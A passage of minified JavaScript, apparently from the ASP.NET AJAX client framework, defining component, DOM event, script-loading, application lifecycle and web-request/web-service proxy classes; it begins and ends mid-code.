this.prototype)this[a]=this.prototype[a];this.__typeName=c;this.parse=Sys$Enum$parse;this.__string=this.toString();this.toString=Sys$Enum$toString;this.__flags=b;this.__enum=true};Type.isEnum=function(a){if(typeof a==="undefined"||a===null)return false;return !!a.__enum};Type.isFlags=function(a){if(typeof a==="undefined"||a===null)return false;return !!a.__flags};Sys.EventHandlerList=function(){this._list={}};Sys.EventHandlerList.prototype={addHandler:function(b,a){Array.add(this._getEvent(b,true),a)},removeHandler:function(c,b){var a=this._getEvent(c);if(!a)return;Array.remove(a,b)},getHandler:function(b){var a=this._getEvent(b);if(!a||a.length===0)return null;a=Array.clone(a);if(!a._handler)a._handler=function(c,d){for(var b=0,e=a.length;b<e;b++)a[b](c,d)};return a._handler},_getEvent:function(a,b){if(!this._list[a]){if(!b)return null;this._list[a]=[]}return this._list[a]}};Sys.EventHandlerList.registerClass("Sys.EventHandlerList");Sys.EventArgs=function(){};Sys.EventArgs.registerClass("Sys.EventArgs");Sys.EventArgs.Empty=new Sys.EventArgs;Sys.CancelEventArgs=function(){Sys.CancelEventArgs.initializeBase(this);this._cancel=false};Sys.CancelEventArgs.prototype={get_cancel:function(){return this._cancel},set_cancel:function(a){this._cancel=a}};Sys.CancelEventArgs.registerClass("Sys.CancelEventArgs",Sys.EventArgs);Sys.INotifyPropertyChange=function(){};Sys.INotifyPropertyChange.prototype={};Sys.INotifyPropertyChange.registerInterface("Sys.INotifyPropertyChange");Sys.PropertyChangedEventArgs=function(a){Sys.PropertyChangedEventArgs.initializeBase(this);this._propertyName=a};Sys.PropertyChangedEventArgs.prototype={get_propertyName:function(){return this._propertyName}};Sys.PropertyChangedEventArgs.registerClass("Sys.PropertyChangedEventArgs",Sys.EventArgs);Sys.INotifyDisposing=function(){};Sys.INotifyDisposing.prototype={};Sys.INotifyDisposing.registerInterface("Sys.INotifyDisposing");Sys.Component=function(){if(Sys.Application)Sys.Application.registerDisposableObject(this)};Sys.Component.prototype={_id:null,_initialized:false,_updating:false,get_events:function(){if(!this._events)this._events=new Sys.EventHandlerList;return this._events},get_id:function(){return this._id},set_id:function(a){this._id=a},get_isInitialized:function(){return this._initialized},get_isUpdating:function(){return this._updating},add_disposing:function(a){this.get_events().addHandler("disposing",a)},remove_disposing:function(a){this.get_events().removeHandler("disposing",a)},add_propertyChanged:function(a){this.get_events().addHandler("propertyChanged",a)},remove_propertyChanged:function(a){this.get_events().removeHandler("propertyChanged",a)},beginUpdate:function(){this._updating=true},dispose:function(){if(this._events){var a=this._events.getHandler("disposing");if(a)a(this,Sys.EventArgs.Empty)}delete this._events;Sys.Application.unregisterDisposableObject(this);Sys.Application.removeComponent(this)},endUpdate:function(){this._updating=false;if(!this._initialized)this.initialize();this.updated()},initialize:function(){this._initialized=true},raisePropertyChanged:function(b){if(!this._events)return;var a=this._events.getHandler("propertyChanged");if(a)a(this,new Sys.PropertyChangedEventArgs(b))},updated:function(){}};Sys.Component.registerClass("Sys.Component",null,Sys.IDisposable,Sys.INotifyPropertyChange,Sys.INotifyDisposing);function Sys$Component$_setProperties(a,i){var d,j=Object.getType(a),e=j===Object||j===Sys.UI.DomElement,h=Sys.Component.isInstanceOfType(a)&&!a.get_isUpdating();if(h)a.beginUpdate();for(var c in i){var b=i[c],f=e?null:a["get_"+c];if(e||typeof f!=="function"){var k=a[c];if(!b||typeof b!=="object"||e&&!k)a[c]=b;else Sys$Component$_setProperties(k,b)}else{var l=a["set_"+c];if(typeof l==="function")l.apply(a,[b]);else if(b instanceof Array){d=f.apply(a);for(var g=0,m=d.length,n=b.length;g<n;g++,m++)d[m]=b[g]}else if(typeof b==="object"&&Object.getType(b)===Object){d=f.apply(a);Sys$Component$_setProperties(d,b)}}}if(h)a.endUpdate()}function Sys$Component$_setReferences(c,b){for(var a in b){var e=c["set_"+a],d=$find(b[a]);e.apply(c,[d])}}var $create=Sys.Component.create=function(h,f,d,c,g){var a=g?new h(g):new h,b=Sys.Application,i=b.get_isCreatingComponents();a.beginUpdate();if(f)Sys$Component$_setProperties(a,f);if(d)for(var e in d)a["add_"+e](d[e]);b._createdComponents[b._createdComponents.length]=a;if(a.get_id())b.addComponent(a);if(i)if(c)b._addComponentToSecondPass(a,c);else a.endUpdate();else{if(c)Sys$Component$_setReferences(a,c);a.endUpdate()}return a};Sys.UI.MouseButton=function(){throw Error.notImplemented()};Sys.UI.MouseButton.prototype={leftButton:0,middleButton:1,rightButton:2};Sys.UI.MouseButton.registerEnum("Sys.UI.MouseButton");Sys.UI.Key=function(){throw Error.notImplemented()};Sys.UI.Key.prototype={backspace:8,tab:9,enter:13,esc:27,space:32,pageUp:33,pageDown:34,end:35,home:36,left:37,up:38,right:39,down:40,del:127};Sys.UI.Key.registerEnum("Sys.UI.Key");Sys.UI.DomEvent=function(c){var a=c;this.rawEvent=a;this.altKey=a.altKey;if(typeof a.button!=="undefined")this.button=typeof a.which!=="undefined"?a.button:a.button===4?Sys.UI.MouseButton.middleButton:a.button===2?Sys.UI.MouseButton.rightButton:Sys.UI.MouseButton.leftButton;if(a.type==="keypress")this.charCode=a.charCode||a.keyCode;else if(a.keyCode&&a.keyCode===46)this.keyCode=127;else this.keyCode=a.keyCode;this.clientX=a.clientX;this.clientY=a.clientY;this.ctrlKey=a.ctrlKey;this.target=a.target?a.target:a.srcElement;if(this.target){var b=Sys.UI.DomElement.getLocation(this.target);this.offsetX=typeof a.offsetX!=="undefined"?a.offsetX:window.pageXOffset+(a.clientX||0)-b.x;this.offsetY=typeof a.offsetY!=="undefined"?a.offsetY:window.pageYOffset+(a.clientY||0)-b.y}this.screenX=a.screenX;this.screenY=a.screenY;this.shiftKey=a.shiftKey;this.type=a.type};Sys.UI.DomEvent.prototype={preventDefault:function(){if(this.rawEvent.preventDefault)this.rawEvent.preventDefault();else if(window.event)window.event.returnValue=false},stopPropagation:function(){if(this.rawEvent.stopPropagation)this.rawEvent.stopPropagation();else if(window.event)window.event.cancelBubble=true}};Sys.UI.DomEvent.registerClass("Sys.UI.DomEvent");var $addHandler=Sys.UI.DomEvent.addHandler=function(a,d,e){if(!a._events)a._events={};var c=a._events[d];if(!c)a._events[d]=c=[];var b;if(a.addEventListener){b=function(b){return e.call(a,new Sys.UI.DomEvent(b))};a.addEventListener(d,b,false)}else if(a.attachEvent){b=function(){return e.call(a,new Sys.UI.DomEvent(window.event))};a.attachEvent("on"+d,b)}c[c.length]={handler:e,browserHandler:b}},$addHandlers=Sys.UI.DomEvent.addHandlers=function(e,d,c){for(var b in d){var a=d[b];if(c)a=Function.createDelegate(c,a);$addHandler(e,b,a)}},$clearHandlers=Sys.UI.DomEvent.clearHandlers=function(a){if(a._events){var e=a._events;for(var b in e){var d=e[b];for(var c=d.length-1;c>=0;c--)$removeHandler(a,b,d[c].handler)}a._events=null}},$removeHandler=Sys.UI.DomEvent.removeHandler=function(a,e,f){var d=null,c=a._events[e],d=null;for(var b=0,g=c.length;b<g;b++)if(c[b].handler===f){d=c[b].browserHandler;break}if(a.removeEventListener)a.removeEventListener(e,d,false);else if(a.detachEvent)a.detachEvent("on"+e,d);c.splice(b,1)};Sys.IContainer=function(){};Sys.IContainer.prototype={};Sys.IContainer.registerInterface("Sys.IContainer");Sys._ScriptLoader=function(){this._scriptsToLoad=null;this._scriptLoadedDelegate=Function.createDelegate(this,this._scriptLoadedHandler)};Sys._ScriptLoader.prototype={dispose:function(){this._stopLoading();if(this._events)delete this._events;this._scriptLoadedDelegate=null},loadScripts:function(a,c,d,b){this._loading=true;this._allScriptsLoadedCallback=c;this._scriptLoadFailedCallback=d;this._scriptLoadTimeoutCallback=b;if(a>0)this._timeoutCookie=window.setTimeout(Function.createDelegate(this,this._scriptLoadTimeoutHandler),a*1000);this._loadScriptsInternal()},notifyScriptLoaded:function(){if(!this._loading)return;this._currentTask._notified++;if(Sys.Browser.agent===Sys.Browser.Safari)if(this._currentTask._notified===1)window.setTimeout(Function.createDelegate(this,function(){this._scriptLoadedHandler(this._currentTask.get_scriptElement(),true)}),0)},queueCustomScriptTag:function(a){if(!this._scriptsToLoad)this._scriptsToLoad=[];Array.add(this._scriptsToLoad,a)},queueScriptBlock:function(a){if(!this._scriptsToLoad)this._scriptsToLoad=[];Array.add(this._scriptsToLoad,{text:a})},queueScriptReference:function(a){if(!this._scriptsToLoad)this._scriptsToLoad=[];Array.add(this._scriptsToLoad,{src:a})},_createScriptElement:function(c){var a=document.createElement("SCRIPT");a.type="text/javascript";for(var b in c)a[b]=c[b];return a},_loadScriptsInternal:function(){if(this._scriptsToLoad&&this._scriptsToLoad.length>0){var b=Array.dequeue(this._scriptsToLoad),a=this._createScriptElement(b);if(a.text&&Sys.Browser.agent===Sys.Browser.Safari){a.innerHTML=a.text;delete a.text}if(typeof b.src==="string"){this._currentTask=new Sys._ScriptLoaderTask(a,this._scriptLoadedDelegate);this._currentTask.execute()}else{document.getElementsByTagName("HEAD")[0].appendChild(a);Sys._ScriptLoader._clearScript(a);this._loadScriptsInternal()}}else{var c=this._allScriptsLoadedCallback;this._stopLoading();if(c)c(this)}},_raiseError:function(a){var c=this._scriptLoadFailedCallback,b=this._currentTask.get_scriptElement();this._stopLoading();if(c)c(this,b,a);else throw Sys._ScriptLoader._errorScriptLoadFailed(b.src,a)},_scriptLoadedHandler:function(a,b){if(b&&this._currentTask._notified)if(this._currentTask._notified>1)this._raiseError(true);else{Array.add(Sys._ScriptLoader._getLoadedScripts(),a.src);this._currentTask.dispose();this._currentTask=null;this._loadScriptsInternal()}else this._raiseError(false)},_scriptLoadTimeoutHandler:function(){var a=this._scriptLoadTimeoutCallback;this._stopLoading();if(a)a(this)},_stopLoading:function(){if(this._timeoutCookie){window.clearTimeout(this._timeoutCookie);this._timeoutCookie=null}if(this._currentTask){this._currentTask.dispose();this._currentTask=null}this._scriptsToLoad=null;this._loading=null;this._allScriptsLoadedCallback=null;this._scriptLoadFailedCallback=null;this._scriptLoadTimeoutCallback=null}};Sys._ScriptLoader.registerClass("Sys._ScriptLoader",null,Sys.IDisposable);Sys._ScriptLoader.getInstance=function(){var a=Sys._ScriptLoader._activeInstance;if(!a)a=Sys._ScriptLoader._activeInstance=new Sys._ScriptLoader;return a};Sys._ScriptLoader.isScriptLoaded=function(b){var a=document.createElement("script");a.src=b;return Array.contains(Sys._ScriptLoader._getLoadedScripts(),a.src)};Sys._ScriptLoader.readLoadedScripts=function(){if(!Sys._ScriptLoader._referencedScripts){var b=Sys._ScriptLoader._referencedScripts=[],c=document.getElementsByTagName("SCRIPT");for(i=c.length-1;i>=0;i--){var d=c[i],a=d.src;if(a.length)if(!Array.contains(b,a))Array.add(b,a)}}};Sys._ScriptLoader._clearScript=function(a){if(!Sys.Debug.isDebug)a.parentNode.removeChild(a)};Sys._ScriptLoader._errorScriptLoadFailed=function(b,d){var a;if(d)a=Sys.Res.scriptLoadMultipleCallbacks;else a=Sys.Res.scriptLoadFailed;var e="Sys.ScriptLoadFailedException: "+String.format(a,b),c=Error.create(e,{name:"Sys.ScriptLoadFailedException","scriptUrl":b});c.popStackFrame();return c};Sys._ScriptLoader._getLoadedScripts=function(){if(!Sys._ScriptLoader._referencedScripts){Sys._ScriptLoader._referencedScripts=[];Sys._ScriptLoader.readLoadedScripts()}return Sys._ScriptLoader._referencedScripts};Sys._ScriptLoaderTask=function(b,a){this._scriptElement=b;this._completedCallback=a;this._notified=0};Sys._ScriptLoaderTask.prototype={get_scriptElement:function(){return this._scriptElement},dispose:function(){if(this._disposed)return;this._disposed=true;this._removeScriptElementHandlers();Sys._ScriptLoader._clearScript(this._scriptElement);this._scriptElement=null},execute:function(){this._addScriptElementHandlers();document.getElementsByTagName("HEAD")[0].appendChild(this._scriptElement)},_addScriptElementHandlers:function(){this._scriptLoadDelegate=Function.createDelegate(this,this._scriptLoadHandler);if(Sys.Browser.agent!==Sys.Browser.InternetExplorer){this._scriptElement.readyState="loaded";$addHandler(this._scriptElement,"load",this._scriptLoadDelegate)}else $addHandler(this._scriptElement,"readystatechange",this._scriptLoadDelegate);this._scriptErrorDelegate=Function.createDelegate(this,this._scriptErrorHandler);$addHandler(this._scriptElement,"error",this._scriptErrorDelegate)},_removeScriptElementHandlers:function(){if(this._scriptLoadDelegate){var a=this.get_scriptElement();if(Sys.Browser.agent!==Sys.Browser.InternetExplorer)$removeHandler(a,"load",this._scriptLoadDelegate);else $removeHandler(a,"readystatechange",this._scriptLoadDelegate);$removeHandler(a,"error",this._scriptErrorDelegate);this._scriptErrorDelegate=null;this._scriptLoadDelegate=null}},_scriptErrorHandler:function(){if(this._disposed)return;this._completedCallback(this.get_scriptElement(),false)},_scriptLoadHandler:function(){if(this._disposed)return;var a=this.get_scriptElement();if(a.readyState!=="loaded"&&a.readyState!=="complete")return;var b=this;window.setTimeout(function(){b._completedCallback(a,true)},0)}};Sys._ScriptLoaderTask.registerClass("Sys._ScriptLoaderTask",null,Sys.IDisposable);Sys.ApplicationLoadEventArgs=function(b,a){Sys.ApplicationLoadEventArgs.initializeBase(this);this._components=b;this._isPartialLoad=a};Sys.ApplicationLoadEventArgs.prototype={get_components:function(){return this._components},get_isPartialLoad:function(){return this._isPartialLoad}};Sys.ApplicationLoadEventArgs.registerClass("Sys.ApplicationLoadEventArgs",Sys.EventArgs);Sys._Application=function(){Sys._Application.initializeBase(this);this._disposableObjects=[];this._components={};this._createdComponents=[];this._secondPassComponents=[];this._unloadHandlerDelegate=Function.createDelegate(this,this._unloadHandler);this._loadHandlerDelegate=Function.createDelegate(this,this._loadHandler);Sys.UI.DomEvent.addHandler(window,"unload",this._unloadHandlerDelegate);Sys.UI.DomEvent.addHandler(window,"load",this._loadHandlerDelegate)};Sys._Application.prototype={_creatingComponents:false,_disposing:false,get_isCreatingComponents:function(){return this._creatingComponents},add_load:function(a){this.get_events().addHandler("load",a)},remove_load:function(a){this.get_events().removeHandler("load",a)},add_init:function(a){if(this._initialized)a(this,Sys.EventArgs.Empty);else this.get_events().addHandler("init",a)},remove_init:function(a){this.get_events().removeHandler("init",a)},add_unload:function(a){this.get_events().addHandler("unload",a)},remove_unload:function(a){this.get_events().removeHandler("unload",a)},addComponent:function(a){this._components[a.get_id()]=a},beginCreateComponents:function(){this._creatingComponents=true},dispose:function(){if(!this._disposing){this._disposing=true;if(window.pageUnload)window.pageUnload(this,Sys.EventArgs.Empty);var c=this.get_events().getHandler("unload");if(c)c(this,Sys.EventArgs.Empty);var b=Array.clone(this._disposableObjects);for(var a=0,e=b.length;a<e;a++)b[a].dispose();Array.clear(this._disposableObjects);Sys.UI.DomEvent.removeHandler(window,"unload",this._unloadHandlerDelegate);if(this._loadHandlerDelegate){Sys.UI.DomEvent.removeHandler(window,"load",this._loadHandlerDelegate);this._loadHandlerDelegate=null}var d=Sys._ScriptLoader.getInstance();if(d)d.dispose();Sys._Application.callBaseMethod(this,"dispose")}},endCreateComponents:function(){var b=this._secondPassComponents;for(var a=0,d=b.length;a<d;a++){var c=b[a].component;Sys$Component$_setReferences(c,b[a].references);c.endUpdate()}this._secondPassComponents=[];this._creatingComponents=false},findComponent:function(b,a){return a?Sys.IContainer.isInstanceOfType(a)?a.findComponent(b):a[b]||null:Sys.Application._components[b]||null},getComponents:function(){var a=[],b=this._components;for(var c in b)a[a.length]=b[c];return a},initialize:function(){if(!this._initialized&&!this._initializing){this._initializing=true;window.setTimeout(Function.createDelegate(this,this._doInitialize),0)}},notifyScriptLoaded:function(){var a=Sys._ScriptLoader.getInstance();if(a)a.notifyScriptLoaded()},registerDisposableObject:function(a){if(!this._disposing)this._disposableObjects[this._disposableObjects.length]=a},raiseLoad:function(){var b=this.get_events().getHandler("load"),a=new Sys.ApplicationLoadEventArgs(Array.clone(this._createdComponents),!this._initializing);if(b)b(this,a);if(window.pageLoad)window.pageLoad(this,a);this._createdComponents=[]},removeComponent:function(b){var a=b.get_id();if(a)delete this._components[a]},unregisterDisposableObject:function(a){if(!this._disposing)Array.remove(this._disposableObjects,a)},_addComponentToSecondPass:function(b,a){this._secondPassComponents[this._secondPassComponents.length]={component:b,references:a}},_doInitialize:function(){Sys._Application.callBaseMethod(this,"initialize");var a=this.get_events().getHandler("init");if(a){this.beginCreateComponents();a(this,Sys.EventArgs.Empty);this.endCreateComponents()}this.raiseLoad();this._initializing=false},_loadHandler:function(){if(this._loadHandlerDelegate){Sys.UI.DomEvent.removeHandler(window,"load",this._loadHandlerDelegate);this._loadHandlerDelegate=null}this.initialize()},_unloadHandler:function(){this.dispose()}};Sys._Application.registerClass("Sys._Application",Sys.Component,Sys.IContainer);Sys.Application=new Sys._Application;var $find=Sys.Application.findComponent;Type.registerNamespace("Sys.Net");Sys.Net.WebRequestExecutor=function(){this._webRequest=null;this._resultObject=null};Sys.Net.WebRequestExecutor.prototype={get_webRequest:function(){return this._webRequest},_set_webRequest:function(a){this._webRequest=a},get_started:function(){throw Error.notImplemented()},get_responseAvailable:function(){throw Error.notImplemented()},get_timedOut:function(){throw Error.notImplemented()},get_aborted:function(){throw Error.notImplemented()},get_responseData:function(){throw Error.notImplemented()},get_statusCode:function(){throw Error.notImplemented()},get_statusText:function(){throw Error.notImplemented()},get_xml:function(){throw Error.notImplemented()},get_object:function(){if(!this._resultObject)this._resultObject=Sys.Serialization.JavaScriptSerializer.deserialize(this.get_responseData());return this._resultObject},executeRequest:function(){throw Error.notImplemented()},abort:function(){throw Error.notImplemented()},getResponseHeader:function(){throw Error.notImplemented()},getAllResponseHeaders:function(){throw Error.notImplemented()}};Sys.Net.WebRequestExecutor.registerClass("Sys.Net.WebRequestExecutor");window.XMLDOM=function(d){if(!window.DOMParser){var c=["Msxml2.DOMDocument.3.0","Msxml2.DOMDocument"];for(var b=0;b<c.length;b++)try{var a=new ActiveXObject(c[b]);a.async=false;a.loadXML(d);a.setProperty("SelectionLanguage","XPath");return a}catch(f){}return null}else try{var e=new window.DOMParser;return e.parseFromString(d,"text/xml")}catch(f){return null}return null};Sys.Net.XMLHttpExecutor=function(){Sys.Net.XMLHttpExecutor.initializeBase(this);var a=this;this._xmlHttpRequest=null;this._webRequest=null;this._responseAvailable=false;this._timedOut=false;this._timer=null;this._aborted=false;this._started=false;this._onReadyStateChange=function(){if(a._xmlHttpRequest.readyState===4){a._clearTimer();a._responseAvailable=true;a._webRequest.completed(Sys.EventArgs.Empty);if(a._xmlHttpRequest!=null){a._xmlHttpRequest.onreadystatechange=Function.emptyMethod;a._xmlHttpRequest=null}}};this._clearTimer=function(){if(a._timer!=null){window.clearTimeout(a._timer);a._timer=null}};this._onTimeout=function(){if(!a._responseAvailable){a._clearTimer();a._timedOut=true;a._xmlHttpRequest.onreadystatechange=Function.emptyMethod;a._xmlHttpRequest.abort();a._webRequest.completed(Sys.EventArgs.Empty);a._xmlHttpRequest=null}}};Sys.Net.XMLHttpExecutor.prototype={get_timedOut:function(){return this._timedOut},get_started:function(){return this._started},get_responseAvailable:function(){return this._responseAvailable},get_aborted:function(){return this._aborted},executeRequest:function(){this._webRequest=this.get_webRequest();var c=this._webRequest.get_body(),a=this._webRequest.get_headers();this._xmlHttpRequest=new XMLHttpRequest;this._xmlHttpRequest.onreadystatechange=this._onReadyStateChange;var e=this._webRequest.get_httpVerb();this._xmlHttpRequest.open(e,this._webRequest.getResolvedUrl(),true);if(a)for(var b in a){var f=a[b];if(typeof f!=="function")this._xmlHttpRequest.setRequestHeader(b,f)}if(e.toLowerCase()==="post"){if(a===null||!a["Content-Type"])this._xmlHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(!c)c=""}var d=this._webRequest.get_timeout();if(d>0)this._timer=window.setTimeout(Function.createDelegate(this,this._onTimeout),d);this._xmlHttpRequest.send(c);this._started=true},getResponseHeader:function(b){var a;try{a=this._xmlHttpRequest.getResponseHeader(b)}catch(c){}if(!a)a="";return a},getAllResponseHeaders:function(){return this._xmlHttpRequest.getAllResponseHeaders()},get_responseData:function(){return this._xmlHttpRequest.responseText},get_statusCode:function(){return this._xmlHttpRequest.status},get_statusText:function(){return this._xmlHttpRequest.statusText},get_xml:function(){var a=this._xmlHttpRequest.responseXML;if(!a||!a.documentElement){a=new XMLDOM(this._xmlHttpRequest.responseText);if(!a||!a.documentElement)return null}else if(navigator.userAgent.indexOf("MSIE")!==-1)a.setProperty("SelectionLanguage","XPath");if(a.documentElement.namespaceURI==="http://www.mozilla.org/newlayout/xml/parsererror.xml"&&a.documentElement.tagName==="parsererror")return null;if(a.documentElement.firstChild&&a.documentElement.firstChild.tagName==="parsererror")return null;return a},abort:function(){if(this._aborted||this._responseAvailable||this._timedOut)return;this._aborted=true;this._clearTimer();if(this._xmlHttpRequest&&!this._responseAvailable){this._xmlHttpRequest.onreadystatechange=Function.emptyMethod;this._xmlHttpRequest.abort();this._xmlHttpRequest=null;var a=this._webRequest._get_eventHandlerList().getHandler("completed");if(a)a(this,Sys.EventArgs.Empty)}}};Sys.Net.XMLHttpExecutor.registerClass("Sys.Net.XMLHttpExecutor",Sys.Net.WebRequestExecutor);Sys.Net._WebRequestManager=function(){this._this=this;this._defaultTimeout=0;this._defaultExecutorType="Sys.Net.XMLHttpExecutor"};Sys.Net._WebRequestManager.prototype={add_invokingRequest:function(a){this._get_eventHandlerList().addHandler("invokingRequest",a)},remove_invokingRequest:function(a){this._get_eventHandlerList().removeHandler("invokingRequest",a)},add_completedRequest:function(a){this._get_eventHandlerList().addHandler("completedRequest",a)},remove_completedRequest:function(a){this._get_eventHandlerList().removeHandler("completedRequest",a)},_get_eventHandlerList:function(){if(!this._events)this._events=new Sys.EventHandlerList;return this._events},get_defaultTimeout:function(){return this._defaultTimeout},set_defaultTimeout:function(a){this._defaultTimeout=a},get_defaultExecutorType:function(){return this._defaultExecutorType},set_defaultExecutorType:function(a){this._defaultExecutorType=a},executeRequest:function(webRequest){var executor=webRequest.get_executor();if(!executor){var failed=false;try{var executorType=eval(this._defaultExecutorType);executor=new executorType}catch(a){failed=true}webRequest.set_executor(executor)}if(executor.get_aborted())return;var evArgs=new Sys.Net.NetworkRequestEventArgs(webRequest),handler=this._get_eventHandlerList().getHandler("invokingRequest");if(handler)handler(this,evArgs);if(!evArgs.get_cancel())executor.executeRequest()}};Sys.Net._WebRequestManager.registerClass("Sys.Net._WebRequestManager");Sys.Net.WebRequestManager=new Sys.Net._WebRequestManager;Sys.Net.NetworkRequestEventArgs=function(a){Sys.Net.NetworkRequestEventArgs.initializeBase(this);this._webRequest=a};Sys.Net.NetworkRequestEventArgs.prototype={get_webRequest:function(){return this._webRequest}};Sys.Net.NetworkRequestEventArgs.registerClass("Sys.Net.NetworkRequestEventArgs",Sys.CancelEventArgs);Sys.Net.WebRequest=function(){this._url="";this._headers={};this._body=null;this._userContext=null;this._httpVerb=null;this._executor=null;this._invokeCalled=false;this._timeout=0};Sys.Net.WebRequest.prototype={add_completed:function(a){this._get_eventHandlerList().addHandler("completed",a)},remove_completed:function(a){this._get_eventHandlerList().removeHandler("completed",a)},completed:function(b){var a=Sys.Net.WebRequestManager._get_eventHandlerList().getHandler("completedRequest");if(a)a(this._executor,b);a=this._get_eventHandlerList().getHandler("completed");if(a)a(this._executor,b)},_get_eventHandlerList:function(){if(!this._events)this._events=new Sys.EventHandlerList;return this._events},get_url:function(){return this._url},set_url:function(a){this._url=a},get_headers:function(){return this._headers},get_httpVerb:function(){if(this._httpVerb===null){if(this._body===null)return "GET";return "POST"}return this._httpVerb},set_httpVerb:function(a){this._httpVerb=a},get_body:function(){return this._body},set_body:function(a){this._body=a},get_userContext:function(){return this._userContext},set_userContext:function(a){this._userContext=a},get_executor:function(){return this._executor},set_executor:function(a){this._executor=a;this._executor._set_webRequest(this)},get_timeout:function(){if(this._timeout===0)return Sys.Net.WebRequestManager.get_defaultTimeout();return this._timeout},set_timeout:function(a){this._timeout=a},getResolvedUrl:function(){return Sys.Net.WebRequest._resolveUrl(this._url)},invoke:function(){Sys.Net.WebRequestManager.executeRequest(this);this._invokeCalled=true}};Sys.Net.WebRequest._resolveUrl=function(b,a){if(b&&b.indexOf("://")!==-1)return b;if(!a||a.length===0){var c=document.getElementsByTagName("base")[0];if(c&&c.href&&c.href.length>0)a=c.href;else a=document.URL}var d=a.indexOf("?");if(d!==-1)a=a.substr(0,d);a=a.substr(0,a.lastIndexOf("/")+1);if(!b||b.length===0)return a;if(b.charAt(0)==="/"){var e=a.indexOf("://"),g=a.indexOf("/",e+3);return a.substr(0,g)+b}else{var f=a.lastIndexOf("/");return a.substr(0,f+1)+b}};Sys.Net.WebRequest._createQueryString=function(d,b){if(!b)b=encodeURIComponent;var a=new Sys.StringBuilder,f=0;for(var c in d){var e=d[c];if(typeof e==="function")continue;var g=Sys.Serialization.JavaScriptSerializer.serialize(e);if(f!==0)a.append("&");a.append(c);a.append("=");a.append(b(g));f++}return a.toString()};Sys.Net.WebRequest._createUrl=function(a,b){if(!b)return a;var d=Sys.Net.WebRequest._createQueryString(b);if(d.length>0){var c="?";if(a&&a.indexOf("?")!==-1)c="&";return a+c+d}else return a};Sys.Net.WebRequest.registerClass("Sys.Net.WebRequest");Sys.Net.WebServiceProxy=function(){};Sys.Net.WebServiceProxy.prototype={set_timeout:function(a){this._timeout=a},get_timeout:function(){return this._timeout},set_defaultUserContext:function(a){this._userContext=a},get_defaultUserContext:function(){return this._userContext},set_defaultSucceededCallback:function(a){this._succeeded=a},get_defaultSucceededCallback:function(){return this._succeeded},set_defaultFailedCallback:function(a){this._failed=a},get_defaultFailedCallback:function(){return this._failed},set_path:function(a){this._path=a},get_path:function(){return this._path},_invoke:function(d,e,g,f,c,b,a){if(c===null||typeof c==="undefined")c=this.get_defaultSucceededCallback();if(b===null||typeof b==="undefined")b=this.get_defaultFailedCallback();if(a===null||typeof a==="undefined")a=this.get_defaultUserContext();return Sys.Net.WebServiceProxy.invoke(d,e,g,f,c,b,a,this.get_timeout())}};Sys.Net.WebServiceProxy.registerClass("Sys.Net.WebServiceProxy");Sys.Net.WebServiceProxy.invoke=function(k,a,j,d,i,c,f,h){var b=new Sys.Net.WebRequest;b.get_headers()["Content-Type"]="application/json; charset=utf-8";if(!d)d={};var g=d;if(!j||!g)g={};b.set_url(Sys.Net.WebRequest._createUrl(k+"/"+a,g));var e=null;if(!j){e=Sys.Serialization.JavaScriptSerializer.serialize(d);if(e==="{}")e=""}b.set_body(e);b.add_completed(l);if(h&&h>0)b.set_timeout(h);b.invoke();function l(d){if(d.get_responseAvailable()){var e=d.get_statusCode(),b=null;try{var j=d.getResponseHeader("Content-Type");if(j.startsWith("application/json"))b=d.get_object();else if(j.startsWith("text/xml"))b=d.get_xml();else b=d.get_responseData()}catch(m){}var k=d.getResponseHeader("jsonerror"),g=k==="true";if(g)b=new Sys.Net.WebServiceError(false,b.Message,b.StackTrace,b.ExceptionType);if(e<200||e>=300||g){if(c){if(!b||!g)b=new Sys.Net.WebServiceError(false,String.format(Sys.Res.webServiceFailedNoMsg,a),"","");b._statusCode=e;c(b,f,a)}}else if(i)i(b,f,a)}else{var h;if(d.get_timedOut())h=String.format(Sys.Res.webServiceTimedOut,a);else h=String.format(Sys.Res.webServiceFailedNoMsg,a);if(c)c(new Sys.Net.WebServiceError(d.get_timedOut(),h,"",""),f,a)}}return b};Sys.Net.WebServiceProxy._generateTypedConstructor=function(a){return function(b){if(b)for(var c in b)this[c]=b[c];this.__type=a}};Sys.Net.WebServiceError=function(c,d,b,a){this._timedOut=c;this._message=d;this._stackTrace=b;this._exceptionType=a;this._statusCode=-1};Sys.Net.WebServiceError.prototype={get_timedOut:function(){return this._timedOut},get_statusCode:function(){return this._statusCode},get_message:function(){return this._message},get_stackTrace:function(){return this._stackTrace},get_exceptionType:function(){return this._exceptionType}};Sys.Net.WebServiceError.registerClass("Sys.Net.WebServiceError");Type.registerNamespace("Sys.Services");Sys.Services._ProfileService=function(){Sys.Services._ProfileService.initializeBase(this);this.properties={}};Sys.Services._ProfileService.DefaultWebServicePath="";Sys.Services._ProfileService.prototype={_defaultFailedCallback:null,_defaultLoadCompletedCallback:null,_defaultSaveCompletedCallback:null,_path:"",_timeout:0,get_defaultFailedCallback:function(){return this._defaultFailedCallback},set_defaultFailedCallback:function(a){this._defaultFailedCallback=a},get_defaultLoadCompletedCallback:function(){return this._defaultLoadCompletedCallback},set_defaultLoadCompletedCallback:function(a){this._defaultLoadCompletedCallback=a},get_defaultSaveCompletedCallback:function(){return this._defaultSaveCompletedCallback},set_defaultSaveCompletedCallback:function(a){this._defaultSaveCompletedCallback=a},get_path:function(){return this._path},set_path:function(a){if(!a||!a.length)a="";this._path=a},get_timeout:function(){return this._timeout},set_timeout:function(a){this._timeout=a},load:function(b,d,e,f){var c={},a;if(!b)a="GetAllPropertiesForCurrentUser";else{a="GetPropertiesForCurrentUser";c={properties:this._clonePropertyNames(b)}}this._invoke(this._get_path(),a,false,c,Function.createDelegate(this,this._onLoadComplete),Function.createDelegate(this,this._onLoadFailed),[d,e,f])},save:function(d,a,c,e){var b=this._flattenProperties(d,this.properties);this._invoke(this._get_path(),"SetPropertiesForCurrentUser",false,{values:b},Function.createDelegate(this,this._onSaveComplete),Function.createDelegate(this,this._onSaveFailed),[a,c,e])},_clonePropertyNames:function(e){var c=[],d={};for(var b=0;b<e.length;b++){var a=e[b];if(!d[a]){Array.add(c,a);d[a]=true}}return c},_flattenProperties:function(a,h,i){var b={},e,d;if(a&&a.length===0)return b;for(var c in h){e=h[c];d=i?i+"."+c:c;if(Sys.Services.ProfileGroup.isInstanceOfType(e)){var g=this._flattenProperties(a,e,d);for(var f in g){var j=g[f];b[f]=j}}else if(!a||Array.indexOf(a,d)!==-1)b[d]=e}return b},_get_path:function(){var a=this.get_path();if(!a.length)a=Sys.Services._ProfileService.DefaultWebServicePath;if(!a||!a.length)throw 